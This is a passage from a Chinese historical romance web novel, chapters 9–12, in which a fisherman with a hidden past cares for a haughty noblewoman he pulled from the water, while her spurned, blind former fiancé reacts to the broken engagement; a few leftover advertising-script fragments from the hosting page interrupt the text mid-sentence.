寇骞侧身进去,目光掠过她蹙着的眉头,顿时有些头疼,昨日走时还好好的,怎么又不高兴起来,总不能是这院里的桌椅板凳嫌日子太过舒坦,主动蹦去招惹她。 “是某来太早,扰了你的好觉?那你再睡会儿,等好了某再喊你?” “还是不想吃馎饦?那改喝粥?” “……小祖宗?” 寇骞绝对是把下辈子的好脾气都拿出来透支了,偏偏那些土里埋的祖宗一并加起来,也不如这个水里捞起来的祖宗难伺候。 好半晌,那难伺候的小祖宗才肯正眼瞧他,“你替我寻个会梳头的人来……我可以给工钱。” 所以,大早上在这闹别扭,是因为梳头把自己梳生气了? 寇骞瞟了眼她散逸的头发,眼底划过一点笑意,只是唇角刚要上扬,便被她抓了个现行,凌厉的眼刀紧随而至,“你敢笑话我!” “咳,某不敢。” 崔竹喧恶狠狠地剜了他一眼,对他那拙劣的演技嗤之以鼻。 “一会儿量尺寸要出门,某先帮你梳个简单的?” 她下意识就要拒绝,可总这么披头散发也不是个办法,抬眸去看那人,虽只是束了个高马尾,但也算齐整,到底是咬牙点了头,只是人已坐到镜前,仍不忘凶巴巴地威胁几句,“你若是胡来,我就——” 寇骞一手执着木梳,一手挽起她的头发,将被风搅得有些凌乱的发丝重新规整,手心柔软的触感果然同他想象的一般,大抵是因其长在这小祖宗头上,娇生惯养得比锦缎还好摸些。 他微微挑眉,瞧见镜子里的人板着的脸,一副煞有介事的模样,“就怎么样?” 打他一顿自然行不通,毕竟崔家的侍卫不在,没人帮忙摁着,她打不过,又没有他的卖身契在手,没东西可供威胁,思来想去,她只能在先前许诺的金银珠宝上做文章,“就扣你的钱,我不高兴一次就扣你十两银子!” 寇骞无甚所谓地点头,“三个金饼,够某扣上好一阵了。” “你!”崔竹喧气恼地扭头瞪他,话还未出口,就变成呼痛声,是发丝拉扯头皮的刺痛。 “别动,消停点。” 她咬牙切齿地转回去,在镜中映出了一副怒容。 这人分明是在故意惹她生气!笨手笨脚的泥腿子,狗嘴里也吐不出象牙! 她现在就要扣他钱,扣十两、不,扣二十两! 这边气成一条河豚,那边却是惬意万分,只是怕河豚真的气炸了,这才抿着嘴,强压下笑意。 修长的手指在墨发里翻折,像平素里织渔网似的,一缕一缕缠到一块儿,编出一条长长的辫子,末了,系上绸带。 “难看。” 9. 009 羹煮馎饦 几乎是在寇骞停手的第一时间,崔竹喧便毫不留情地批判道。 她仍是那副微扬着下巴的矜贵模样,挑三拣四,吆五喝六,是她一贯的做派。 “嗯?某怎么不觉得?” 崔竹喧轻嗤一声,正要刺他一句眼光下乘、手艺拙劣,那人便已倚着桌案,俯身下来,“哪难看?是你的脸难看,还是你的头发难看?” 她本就不悦,此话一出,更如同火上浇油,顷刻间燃起了燎原之势,当即要去拽他的头发,可这招都第三回了,寇骞早有预料,话音刚落,他便直起了身子往后躲,将头发撩起来高举着,让她扑了个空。 只是,还不待他得意几下,身子猛然僵住。 崔竹喧捕猎失败的右手并未撤回,而是就近拧上他的腰,只是这人不晓得吃什么长大的,硬得跟块青石板似的,她用劲再用劲,也辨别不出把人掐疼了没,但观他神色,应当是不好受的。 她乘胜追击地逼问:“说,谁难看?” 他落于败势地投降:“某难看。” 崔竹喧面色稍霁,深觉自己拿捏住了他的新把柄,全然没注意到他目光晦暗一瞬,压平欲上扬的唇角,扬起下巴,“有多难看?” “……和你昨日嫌弃的鱼一样难看。” 她怔了一下,扑哧一声笑出来,眼角眉梢都沾染上星星点点的笑意,“算你有自知之明。” 被这般嘲弄,寇骞合该气上一气,申斥两声也好,提刀威胁也罢,总归该吓唬吓唬她,让她长长记性,可偏偏,他也跟着翘了嘴角。 他为他的贪财好色,容忍几分,让步些许,也算合情理吧? “行了,给你做饭去。” 崔竹喧看着那人大步跨出去,犹豫一会儿,也提着裙摆跟上。 按理说,她才不想去沾染厨房的油烟味儿呢,但这院子里又没有花花草草可赏,也没有声音婉转的丫鬟给读话本子,无趣得很,与其对着这下得没完没了的雨发呆,还不如去盯着这人有没有挟私报复,故意做一碗无从下口的东西为难她。 她一路只走檐下的一小块干地,动作慢吞吞的,越过门槛时,寇骞已经在面粉中添好油和水,用手将它们揉到一处。她盯着看了会儿,见那白色的糊糊逐渐成了一个胖乎乎的面团,而后又被搓成细细的长条,一截一截揪成小段,泡进瓷盆的凉水中。 有些一下就沉了底,有些不上不下地漂浮着,还有几个竟直接趴在同伴的背上,只被晕湿了边角,崔竹喧见不得这种偷奸耍滑之辈在眼皮子底下苟活,便伸出一根食指,把那些浮在水面的挨个摁下去。 只是这般,指尖就不免沾上黏糊糊的白,“有——” 话才刚起了个头,那人就递了块布巾过来,白色的,瞧着还算干净,于是她勉强在上头蹭了蹭,除了需要清理的指尖,旁的地方是一处都不肯挨。 寇骞便没这么讲究了,就着她用过的布巾,随意擦了下手,开始收拣起桌案,“你去那边挑挑,想用什么做汤。” 崔竹喧凑到那口布袋旁,斟酌许久,相中了一朵白色的、如华盖般的平菇,把底下沾着泥的部分掐掉不要,这才志得意满地将东西递过去。 只是阿谀奉承的话没等来,她抬眸看去,对上个一言难尽的目光。 寇骞没去接她手里无比精致的那一朵,越过她,粗暴地抓了一把同类扔进木盆里,又添根胡萝卜,一棵绿叶菜,从瓮中舀了几瓢水泼下来,蹲在地上开始清洗。 ——不是说让她挑吗? 崔竹喧低眉,盯着手里那朵一点瑕疵都没的平菇,没来由地生出一股怨气,甩袖出去。 不论是菌柄还是菌盖,都是软乎乎的,撞到硬梆梆的墙壁,跌下灰扑扑的桌子,滚进待烧的柴火堆里,发不出一点声响,在哗啦啦的水声中,寇骞倒是听到了脚步声,只当是那小祖宗在这待着无聊,进屋歇着了。 把切好的菇子、胡萝卜、菜叶子混上肉沫一起下锅烹煮,再将浸好的面段扯成长条扔进去,于汤色渐浓时,加少许盐,便可准备碗筷出锅了。 偏偏馎饦摆上桌,吃饭的人就剩他一个了。 “真不吃?” 崔竹喧搬了条板凳坐在窗边,端着一副观风赏雨的雅致,可耐不过粗瓷碗里丝丝缕缕的热气冒个不停,裹着香味,压过了湿冷的气息,一个劲儿往她鼻子里钻,她忍不住用余光瞟过去,是两碗馎饦。 金黄色的汤里浸着雪白的面条,兼有橙红色的胡萝卜和青翠的菜叶,她这般远远地望着,竟像是碗里盛了朵开得正艳的花,与昨日那尸块汤相比,简直是一个天上,一个地上。 按常理而言,这么好看,这么好闻的吃食,味道一定也极好。 她昨日就吃了一顿饭,夜里饿了也只勉强啃几块点心充饥,眼下轻易便被勾起了馋虫,恨不得直接把馎饦塞进胃里,可她却硬生生把目光又挪回了窗外,对着歪七八糟的枯枝败叶平心静气。 这人刚刚还忤逆她来着,她怎么能因为区区一碗馎饦,就赏他好脸色? “某的手艺可比阿树的好多了,一口都不尝?” “不要,我不饿,”崔竹喧咬牙拒绝,末了,还要贬低一番,“近朱者赤,近墨者黑,他做的吃食难以下咽,你做的肯定也好不到哪里去!” 寇骞看着她,忽而拿起木箸,在碗里翻搅起来,面条连汤带水一并涌进他那张大口里,咀嚼声、吞咽声一时竟压过了窗外的雨声。 世上怎会有如此粗俗无礼之人! 崔竹喧恶狠狠地瞪他,他反倒变本加厉,闹出的动静愈发大了。 “你就不能安静点吗?” “不能。” “那你端着碗出去吃!” “也不能。” 崔竹喧分不清现在是生气多些,还是伤心多些,在这里人生地不熟的,她就只认识寇骞一个人,偏偏这人一点也不听她使唤,明明她许了他金银,连身上仅剩的一根金簪都给了他,若换成金缕,定然不会如此。 就算不是金缕,换成府上任意一个仆从、侍 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 卫,也断然没有人敢这么欺负她。 要是叔父和堂兄在,她更不会因为这点小事受委屈。 可屋子是人家的,她又打不过他,哪能顺利将他赶出去呢?是以,只能她走。 崔竹喧攥着裙摆,指甲陷进衣料,而后刺进手心,平生第一次不是气势汹汹地将人赶出去,而是自个儿灰溜溜地往外走。 屋子很小,饶是她刻意绕开他走,可桌子就在那,门就在那,寇骞只肖一伸手,便捏住了她的腕子,她挣了挣,甩不脱。 “某又是哪招你了,小祖宗?” 崔竹喧偏过头去,一点儿都不想搭理这个粗俗无礼的讨厌鬼,可讨厌鬼非要纠缠过来。 “你不说,某怎么改?某不改,你明日还要生气,这里可没有大夫,气坏了就更走不了了。” 崔竹喧默了半晌,“你都不听我的,还好意思问我。” 寇骞琢磨不透,“哪句没听?” “你说好让我挑汤料的。” “你挑的是平菇,这碗里不是平菇?” 崔竹喧冷哼一声,“这又不是我挑的那朵!” 得,这小祖宗怕不是河豚转世投胎,挨不得碰不得,什么都要气上一气。 “你讲讲道理,就那么一小朵,喂麻雀都不够使的,你爱吃清水煮馎饦不成?” 崔竹喧的气势顿时落了下乘,可还不等他松口气,转眼又高涨起来,“那你为什么刚刚不同我说?向我摆冷脸,还不理我!” 到底是谁向谁甩脸子啊?惯会倒打一耙! 寇骞深觉是因为自己住在江边,吃多了河豚,才会碰上这么个化成人形的河豚精向他讨债,揉了揉脑袋,叹气道:“你那朵金贵的菇子呢?” “扔了。” “扔哪了?” “我怎么知道!” 寇骞拽着她的手腕将人拉过来,然后把她摁在凳子上坐下,“等着。” 谁要等他! 崔竹喧气恼地瞪他一眼,恨不得在他后背上剜下两个大窟窿,只不过是因她现在无处可去,这才坐在凳子上,绝不是听他的使唤! 另一头的寇骞在厨房里四下寻摸着,终于在灶台的犄角旮旯瞧见那朵沾了灰的白色,用对待金箔般的小心翼翼将其洗净,在硕大的铁锅中,单煮这朵还没半个巴掌大的平菇。 灶膛里的火烧得正旺,自锅壁起,接连不断冒出大大小小的气泡向外翻涌,来去的涟漪将那朵小小的菇子掀得歪来扭去,薄薄的菌盖却总是背对着他,像极了那个动不动就板着脸的姑娘。 别说白原洲,便是整个汾桡县也寻不出第二个如她性子这般坏的人了。 但—— 罢了,也,不是太坏。 把那朵菇子捞起来,端进屋里,用干净的木箸夹起,在她眼前上上下下展示了一番,“喏,你的金贵菇子,可别说某随意捡了一朵敷衍你。” 崔竹喧瞟过去,那个断口确是自己弄的。 “这回能吃了吧,祖宗?” 10. 010 绫罗绸缎 白白软软的菇子浸在浓郁的汤中吸饱了汁水,染上了浅淡的金色,放入口中,又鲜又滑,用牙齿咀嚼几下,好像还能尝到肉沫的油香。 确实好吃,几乎能与崔府的厨子相提并论了。 但崔竹喧抬眼便望见边上那张小人得志的脸,深觉不能助长他的气焰,刻意压平了唇角,用冷淡的声音开口:“也就那样吧。” “那晚上还是让阿树做饭?” 崔竹喧当即变了脸色,强烈抗拒,“不行!” 话一出口,她就后悔了,这不是一下就暴露了吗? 她愤愤地咬牙,果然见那人已经歪头开始偷笑了,偏又寻不到发作的理由,只能拿着木箸对碗里的馎饦下手,一条条戳烂去,好像是在那个讨厌鬼身上扎出一个个口子,而后放进嘴里统统嚼烂。 起先还记得发泄之事,后头就只记得吃了,虽然寇骞这个人不怎么样,但厨艺还算像样,要是哪天不打渔了,去街面上支个馎饦摊子,她还是很乐意光顾的。 她一口气吃了小半碗后,准备寻个调羹来喝汤,这才发现那人不声不响地吃起了第二碗,这会儿倒是不吸溜了,由此可见,他刚刚就是故意找茬的。 崔竹喧又白了他一眼,后者分外茫然,只好三两下吃完,抱着锅碗瓢盆去洗。 崔竹喧重新有了倚栏听雨的雅致,至于听的是淅淅沥沥的雨声,还是稀里哗啦的水声,有待商榷,看的是雨珠砸弯草叶,还是水花溅了某人满脸,亦不能分辨,唯有一点能确定,她现在心情极好,好到洗碗这种琐事,她都觉得那人做得有趣极了。 他若是听话些,她也不是非扣他的钱不可。 寇骞把洗好的碗筷放进竹橱,低眉将挽起的袖口放下,余光瞥见雨幕外的那人,视线在她垂下的长辫子上停了片刻,忽而想起她蹙着眉,喊着难看。 实在好笑,他想,她便是把头发都绞了,也该是尼姑庵里最显眼的那个。 “来挑挑你要哪些料子做衣裳。” 一个打渔的家里能有什么好料子? 崔竹喧有些不屑,兴致缺缺,但碍于她实在没衣裳穿,到底还是跟在他身后,看他神神秘秘地打开全院子唯一一间上了锁的屋子。 虽说没有扑面而来的厚重尘灰,但也没好到哪里去,乱七八糟的箱子、匣子堆了满地,连落脚都得特意勘探一番,她好不容易才绕过两个挡路的木架子,那人已然轻松地跨过去,抬几次腿,就到了屋子的最里面。 粗俗! 她在心底轻嗤一声,跟只螃蟹似的,若叫礼官看见了,只怕得被压着从走路开始学。 她自诩走得分外优雅,莲步轻移,可耐不住这一堆桌椅板凳都是朽木,不懂欣赏不说,还生得一副黑心肠,撞到这个故意伸出的手,绊到那个刻意探出的头,才至半途,她便觉身子一歪,向前扑去,眼见着破木头和脏地板离自己越来越近,只来得及惊呼一声,双手捂住自己的脸。 就是一头撞死了,她也要做一只好看的鬼! 不消几息,她便栽到了底,只是预料之中的疼却不甚明显,她正怀疑着是不是自己撞昏了头,这才感觉迟钝,下一瞬却有东西极轻地爬过她的头发,而后是道带笑的声音,“不好走在那等着就是,跟过来做什么?” 难怪不疼,撞的不是木头,是寇骞。 她后知后觉地反应过来,那东西是他的手,他竟胆大妄为地摸她的头发,无礼至极! 可还不等她申斥,这人便愈加得寸进尺,未经她同意就把她抱起来,用那粗俗的“螃蟹步”往里走。 不得不说,这“螃蟹步”虽然难看,但确实挺实用,不必费心去弯弯绕绕,只管抬脚跨过去就是,当然,有个前提是腿够长,不然卡在半道上前不前、后不后的,可得丢脸丢大发了。 也是这时候,崔竹喧才注意到他身量极高,□□尺的样子,大抵比堂兄还要高些,但也不确定。毕竟过了十岁,叔父就不准她支使堂兄背着她满府跑了,后来要学的礼节越来越多,要守的规矩也越来越多,堂兄甚至都不能进她的院子,每日用晚膳时才碰得上面,又隔着大大的桌案,仅凭一双眼睛看着,哪能瞧得那般真切。 不像现在,她环着他的脖颈,这般近的距离,只要她想,大可用手指沿着他的肩线走一圈,轻易丈量个大概。 只是未将想法付诸实践,她就被放了下来,也是,一个小破屋子能走几步? “看看有没有瞧得上的。” 无非就是些粗布、麻布的,光看他身上的衣料也该知道的。崔竹喧吝啬地分了一点目光过去,就见能钻进一个人那么大的木箱里堆了十几匹布,随着寇骞将它们拎出来的动作一匹匹瞧清楚,平滑光亮的缎,挺括细密的绸,最后的竟是一匹蜀锦。 若放在旁的地方,区区一匹蜀锦自然不值得她侧目,可这出现在一个渔夫家的库房里,这怎么能不让她讶然。 “喜欢这个?”寇骞注意到她的目光,把这匹拎出来单放,又示意她去选其它的,这般毫不吝惜的模样,更让她觉得疑惑。 纵然她平日里挥金如土,从未为银钱发过愁,但绫罗绸缎的价跟粗布细麻的价还是能区分的,只这一匹蜀锦,随随便便也能换来百两银子,“你自己都穿着粗布,给我用蜀锦?” “……某一贯干粗活,用不上那么娇贵的料子,”他不自然地低下头,从剩余的锦缎中挑取颜色好的,和蜀锦放到一块,剩下两三匹太过老气的被重新塞回箱子里,“用这些做衣裳,再做几双鞋,你若还想要别的——” 崔竹喧只是往前走了一步,无奈地段狭小,她的鞋尖抵住他的鞋尖,他那些啰里八嗦的话戛然而止,她抬眉看去,轻易地瞧见他微颤的眼睫,她凑得更近了些,几乎是强迫性的,让他不得已地迎上她的目光,“……干什么?” “你真的是渔民?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他扶着墙退开两步,总算缓和过来凝滞的呼吸,“现在是。” “我可没听说过,哪处的渔民买得起蜀锦。” “祖上传下来的。” 崔竹喧冷笑一声,毫不留情地戳穿他的谎话,“三年前时兴的花样,这也能叫祖传?” “那就是水里捞的。” “那十几匹绸缎也是?真是奇了怪了,这些布料全生了尾巴,往你的渔网里钻。” 寇骞咬牙道:“我都能从水里捞出你这个祖宗,捞几匹布有什么奇怪的?” 这怎么能一样? 崔竹喧欲跟他再掰扯掰扯,他却用那些锦缎威胁上了,拿人手短,她只能不情不愿地住了嘴,在被他从屋里抱出来时,扯了扯他的头发用以发泄。 寇骞疼得一张脸面容扭曲,“活爹都没你难伺候!” …… 今日的雨下得缠绵,如渺茫的雾,如轻薄的纱,丝丝缕缕,极细极小,若是不去管它,那雨丝保管黏的满头满身,要将衣料晕湿的,但要是执一把天青色的纸伞,漫步在小径上,倒别有一番意趣。 可崔竹喧没有天青色的纸伞,她只有寇骞翻箱倒柜出来的一把暗黄色的油纸伞,没有题诗,没有作画,丑得像是将肉铺装肉的油纸一张张收拣起来,拼凑一起黏成的,只胜在够大,能将雨遮得严实。 她将伞沿微微上翘了些,那个戴着斗笠的身影就露了出来,茅草编织的蓑衣披在肩上,雨珠从他的笠边跌下,又顺着草茎的纹路滚落,最后砸进湿软的泥中。 丑死了,她想,比这把油纸伞还丑。 可那人穿得自在得很,甚至吃了秤砣铁了心,坚决不肯帮她撑伞,她不就是拽了下他的头发嘛,都没扯下来几根,哪就有他那么小气的人,她还没计较他扯谎骗人的事呢! 她愤愤地将伞沿压下,什么打渔的,她一个字都不信。 崔竹喧还在同鞋底的烂泥纠缠不清,寇骞已然叩上了门扉,同屋里人热络地交谈起来,好一会儿,话题才被牵到了她身上,她把伞往后倾,瞧清了门内人的模样。 是个三四十岁的妇人,旁的,便没什么可说了,相貌不打眼,衣衫也不打眼,唯有脸上几乎要咧到耳朵的笑实在热切,她便礼节性地弯了弯唇。 雪肤花貌的女郎眉眼盈盈,一颦一笑间,便是仕女图中的美人从画中走出来,也不过如此了,范娘子怔然一瞬,往日胡咧咧惯了的大嗓门也压了下来,强装出几分温婉,“崔娘子随我来,我做了十多年的衣裳了,针线活在白原洲是一顶一的好,定能让你满意。” 崔竹喧对这话并不抱几分信任,崔府养了一个庄子的绣娘给她做衣裳,也不是件件都能让她顺心的,更别提是这乡野间的普通妇人,只要针脚严实些便好,反正她只需穿过这个汛期。 行至檐下,范娘子收了伞。 崔竹喧将伞柄往后一递,自有人帮她收。 11. 011 金迷蝶猜 崔竹喧本以为,这乡下地方,就算没有特制的软皮尺,寻常的木尺总该是有的,然而被带进房里,范娘子竟只是用两只手掌在她身上比划,肩宽几掌,袖长几掌,到了腰身、裙摆,则是用一截绳子打结作为标记,上上下下都是一股穷酸气。 “这样做的衣裳,能合身吗?” “能的、能的,白原洲那些个不会针线活的郎君,穿的不都是我缝制的衣裳?”范娘子笑得坦率,想起刚刚寇骞给她拿伞的乖觉模样,便生出了几分保媒拉纤的心思,意有所指道,“远的不提,就说寇郎君那身,穿得多精神啊!要放在早几年他在县里当差的时候,冰人可是见天地追着他跑呢!” “县里当差?县令还是县尉?” 范娘子面上的笑僵了一瞬,声音渐弱了下去,“也不是文曲星投生,小门小户哪里当得上那种大官,就是个衙役。” 许是觉得说错了话,直到崔竹喧被送出去,范娘子再没出声,连接过寇骞塞来的银铤时,笑得都有些勉强,目光里带上了几分怜爱,盯得寇骞鸡皮疙瘩竖了满身。 他用撑开的伞将崔竹喧从房檐下迎出来,走出去十数步,确定边上无人,这才开口问道:“某怎么觉得,她跟你独处了一会儿,就变得奇里奇怪的?” “同我有什么关系,怎么就不能是她突然厌烦了你,所以想赶你快走呢?”崔竹喧白过去一眼,伞柄在手心旋了一圈,成串的雨珠便沿着伞骨的边缘飞溅出去,砸了他满身。 寇骞草草抹了下脸上的水,本着惹不起总躲得起的想法,往前快走两步,拉开距离。 崔竹喧扬起的眉尾又渐渐垂了下去,指甲在伞柄上划了几道,再去看伞沿外那道纤长的背影,只是一眼,就用伞沿把他遮盖干净,动不动就不搭理人,讨厌鬼! 她闷头往前走着,越走越快,没来由地较起劲来,把那道身影遥遥甩到后头,这才畅快些许,把伞沿翘起,准备讽他几句拖拖拉拉,可朦胧雨幕中,有错落的房屋,有歪曲的篱笆,有脏兮兮的草叶和野花,甚至有将腮帮子鼓得老大的青蛙从她鞋面上越过,唯独没有应有的那人。 她脸色难看地退开两步,离那湿乎乎、黏哒哒的东西远些。 “寇骞?” 她刚刚走得有那么快吗?就算,就算真的是她走太快,他就不能跑两步追上来吗? 崔竹喧气恼之余,免不得有些恐慌,往前,她不认得回寇骞家的路,往后,她也不记得范娘子是住在这些丑得如出一辙的屋子中的哪一座。 只能去问问了。 她选了个离得最近的屋子,忐忑地叩门。 寇骞是好人,范娘子是好人,那她敲的这户人家应当也是好人吧。 她叩了三遍,侧耳贴在门板上,听着脚步声越来越近,这才放心站直身子。门板如愿从里头打开,她问路的话却蓦然卡了壳。 冲天的酒气扑面而来,熏得人几欲作呕,同那身破烂衣物相得益彰的脸涨得通红,泛着积攒了数日的油光,来人扶着门框,上下嘴皮子一张,比声音先涌出来的是浓重的臭气。 “小娘子来——” 他粗短的手正要把崔竹喧往里带,那双浑浊的眼却颤动一下,还未待她反应过来,门板“砰”的一声合拢,险些撞上她的鼻尖。 她心头发紧,怎么运气这般差,敲的是酒鬼的门,可换一个屋子,却也难保不是第二个酒鬼。 稠密的雨丝仍在下着,四野尽是窸窸窣窣的雨声,直至水花飞溅的声音横插进来,她猛地回头,所有的惊惶无措在那一刻尽数消散,她又变回了那副倨傲的模样。 “你跑哪去了?” “不是让你等等?” 两道质问的声音几乎出自同时,前者横眉冷对,倒打一耙,后者无奈地拎着手中的一网兜蛤蜊在她面前晃了晃,“晚上给你炖汤的,某去邻居讨完出来,你就不见了人影。” 崔竹喧将目光落到那些蛤蜊上,一个个只比拇指大上一点,挨挨挤挤在一块儿,挣扎着翕动两瓣外壳,又不自觉地往下,瞧见他被泥点爬满的裤腿,应是跑着来的,不然不至于弄成这副模样。 “……我没听见。” 寇骞忽然伸过来一只手,夺过油纸伞,却并不往回收,仍稳稳当当地停在她的面前,把那些雨丝隔绝在外,“某给你撑伞,这回总不会走丢了。” 伞面其实很大,大到再塞进一个寇骞,两人也淋不到丁点儿,可他的给她撑伞就真的只是给她,他除一只左手握着伞柄,其余部分依旧是靠着那身简陋的蓑衣遮蔽,滴滴答答往下落着水珠。 笨死了,她想。 他若好声好气地求她两句,她未尝不能屈尊与他共伞。 “你怎么老去邻居家拿东西啊?” 寇骞瞥过来一眼,随口答道:“家里穷得揭不开锅,自然要靠邻里接济。” 又开始胡说八道了!他刚刚还往外递银铤呢! 崔竹喧算是明白了,这人嘴里就没一句真话,倒不如给她量体裁衣的范娘子可靠,想到这,她又问:“你以前不是当衙役吗?为什么不当了?” “……怎么什么话都往外说,”寇骞小声嘟囔两句,继续搪塞,“不想当就不当,哪那么多为什么?” 她偏头望过去,上上下下打量着他躲闪的神色,灵光一闪,“是不是县令欺负你了?你求求我,我就勉为其难就帮你收拾了县令。” 寇骞好笑地回答:“那某要是因为作奸犯科,被撵出来了呢?” 她脸色一变,急道:“你、你无耻!” “啧,某说自己是好人,你要再三怀疑,某说自己是恶人,你就深信不疑?” 崔竹喧愤愤地瞪他一眼,“哪有用这种事开玩笑的?你也不怕真的被官府捉去,砍了脑袋。” “好,不开玩笑,”寇骞从善如流地改口,“某一颗慈悲心,救了人,还把她当祖宗供着,庙里念经的大和尚功德都没某多。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “少往自己脸上贴金,你收了我的金簪,自然该听我使唤!” 寇骞顿了一下,定定地看过去,矜贵的女公子只顾着提着裙摆,避开软烂的黄泥,她不缺一个打伞的奴仆,又如何会把打伞的人看进眼里? 他握着伞柄的指节微微泛白,低垂下眼睫。 “……说的是,某不过是,拿钱办事。” * 经雨洗过的天一片湛蓝,清风缕缕,翻动绿叶莲波,朵朵芙蓉面半遮半掩,最好不过的景致,却被水榭外层层叠叠的薄纱挡却,瞧不见丁点儿。 而薄纱外侧,满头大汗的奴仆神色仓皇地赶来,亦无暇欣赏菡萏芙蕖。 “公子,虞阳那边来信了。” 亭内静了片刻,下一瞬,那纱幔便被收拢向两边,错金博山炉的香雾与顾渚紫笋的茶雾缠在一处,被偶然闯入的风惊得四散消匿,唯桌案旁芝兰玉树的人仍坐在那,不紧不慢地放下茶盏。瓷与瓷之间发出一声清脆的响,而后是道温润如珠落玉盘的声音。 “是簌簌?” 外头人讷讷应了声是,帘内人便弯起了唇角,望向被薄纱遮盖的莲花的方向,“她定要怨我为芙蓉作诗,扰得她要在荷塘边待着了。” 分明是极温和的话,侍从却不自觉将身子躬得更低了些,背上冷汗渗渗,捧着匣子的指节隐隐泛白,那人没发话,他便不敢起身。 “将画挂到我房内吧。” “……公子,没、没有画。” 风倏然停了,飘摇的纱幔直直地垂落,那人转头过来,本该是朗目疏眉处,却覆着一条三指宽的缭绫,在那张脸上,突兀至极。 “崔女公子派人将信物和庚帖送了来,说、说是要,退婚。” 话音刚落,周遭的侍女仆从便纷纷跪了下去,个个低伏着身子,屏住呼吸,将存在感降到最低,独独苦了报信的那位,硬着头皮把匣子送到桌案上,豆大的汗珠同泪水一般,淌了满脸。 蓝青溪微微低眉,纤长的手指顺着匣子的纹路一点点摸索过去,拇指将卡扣一挑,“咔哒”一声轻响,左手扶起匣盖,右手探入其间,轻易便碰到了那块上等的羊脂玉。 白而细腻,触手生温,指尖顺着流畅的线条抚弄,勾勒出一只蝴蝶的形状。因那时她还是爱扑蝶的年纪,所以特意请匠人琢了一枚蝴蝶佩作为信物,与这一并送过去的,还有一个温泉庄子,别的无甚稀奇,只是外头隆冬飞雪,里头仍有蝴蝶翩跹。 故而,他收到了她的第一封信。 很短,说是庄子里的蝴蝶单调,看腻了。 于是他遣人四处搜寻珍稀的蝴蝶,精心豢养,只是她再没踏进庄子一步。 她总是这般,喜欢来得快,去得更快。 手指一根根松开,玉佩没了凭依,跌在地上,从蝶翼到蝶身,被蛛网般的裂痕侵蚀过去,最终碎成一摊残骸。 “讨不了簌簌欢心,那就没有必要存在了。” 12. 012 有风如刃 风宁时,满池的荷花兀自立着,在一轮烈日下炙烤着,花瓣上晶莹的露珠一颗颗被蒸干,仆从们额前的汗珠却一颗颗往外渗,僵持许久,直至炉内最后一点香燃尽,才有人壮着胆子打破这片死寂。 “公子,施针的时辰到了。” “知道了。” 蓝青溪合上匣子,立时有人小心地将匣子捧起,他缓缓起身,身侧便跟了个仆从,低眉顺目地搀着他走出水榭。 脚步声消匿那刻,荷塘边终算活了过来,风声夹杂着呼吸声,腿脚跪至酸软的仆从瘫倒了一地。 蓝青溪沿着小径,穿过回廊,步入临兰阁中。 阁内,素衣女子坐于正中,慢条斯理地将银针置于烛火中炙烤。 蓝青溪微微抬手,闲杂人便撤了个干净,唯剩下他和她,“是你传消息到虞阳的?” 女子并不抬眉,兀自做着施针前的准备,“崔氏的人赠我五条银铤,关心你的身体罢了。” “我以为,保守患者病情,是为医者最基本的操守。” “我以为,崔氏与你乃是姻亲,算不得外人。” 蓝青溪默了片刻,“我每日付你十倍有余的诊金,扪心自问,未曾慢待于你,不过是请你为我医治眼疾罢了,蔡大夫又何必如此行事?” “举手之劳便能有一笔银钱入帐,何乐而不为?至于公子么,”蔡玟玉面上带着一抹浅笑,温声嘱托道,“被退婚的滋味想必不好受至极,公子这病,最忌忧思,还是抄抄佛经,平心静气为好——呀,忘了,你现在看不见,抄不了佛经。” 蓝青溪神色微冷,扯下面上的缭绫,露出一双空洞的眼。 “我一日未愈,便一日不会放你离开。” * 这天气,只适合坐在廊边,听几滴檐下落雨,真要是下地走几步,那什么诗情画意都能被践踏没了,诸如现在,月白色的鞋面上绽开大朵大朵暗黄色的泥点子,鞋底的纹理被沙土填了个严实,边角处还有不死心的烂泥死缠不放,怎么甩都甩不脱。 合该把脚上的这双脏东西扔掉。 可这双都是借的,这下畅快扔了,接下来几日,总不能赤着脚下地。 崔竹喧只能踩着门前仅有的几块青石板,蹙着眉在上头剐蹭鞋底,企图把鞋弄干净些,寇骞见状,只换了只手撑伞,倚着墙面,安安静静地等着。 小祖宗嘛,催不得。 他眯眼打了个哈欠,一夜未眠的困倦在这时涌了上来,眼皮子正要往下耷拉,一道火急火燎的声音便钻进了他的耳朵,寇骞有些烦躁地抬了下笠沿,望见一张着急忙慌到五官乱飞的脸,是阿树。 “不好了,老大,你的船没了!” 边上的崔竹喧动作一顿,脚慢慢挪回裙下,眼神飘忽向屋前的柿子树,好似在这细雨绵绵的时刻,惊觉那肥绿叶片间星星点点的花格外动人。 “没了就没了。”寇骞语气平淡地回答。 “码头那么多船,没的偏偏是你的,这不是挑衅是什么?这事不能就这么算了啊!”阿树脸上写满了不可置信,大声争辩,“定是——呜呜呜?” 寇骞捂住他的嘴,把事情始末盖棺定论,“昨夜风大,被刮走了。” 阿树登时瞪大了两只眼睛,怀疑面前人被水鬼附了身,不然这光天化日的,怎么就能睁着眼睛说瞎话,他把嘴上捂着的手掰下来,“那绳子断口都是齐整的,刮的是风,又不是刀子,哪能断成那样,分明是有人半夜偷船!” “……我说是风刮的,就是风刮的。” “不可能!老大,不信你跟我去看!” 寇骞咬着牙,瞥了眼对着柿子树发呆的人,转过头,压着嗓音警告:“再在这儿唧唧歪歪的,我把你的骨头拆了划船使!” 此话立竿见影,雨幕里很快就没了那道瘦小的身影。 寇骞拧着眉收回目光,这帮子吃硬不吃软的东西,他就不该在前头废话那么多句,直接上手打就完了。 他望向杵在树边,几乎要成第二棵树的崔竹喧,“柿子十月份才熟,你再怎么看,它现在也结不出果。” “你懂什么?我是在赏花!”崔竹喧反驳道。 花么? 寇骞跟着看过去,一小朵一小朵的花挤在叶片的间隙,有扬着脑袋的,有低头张望的,更多的,还是被这场雨打下来,陷进水洼和污泥作伴,要不了多久,这花就该落完了。 “那还要看么?” “不看了!” 她果断地迈进门槛,寇骞便撑着伞跟在旁边,走出好几步,她才有些不自然地开口:“昨日那条,是你的船?” “不然苦主就该找上门了。” 崔竹喧自知理亏,“……你说个数,我赔你,但我现在没钱,得等回家一并给。” 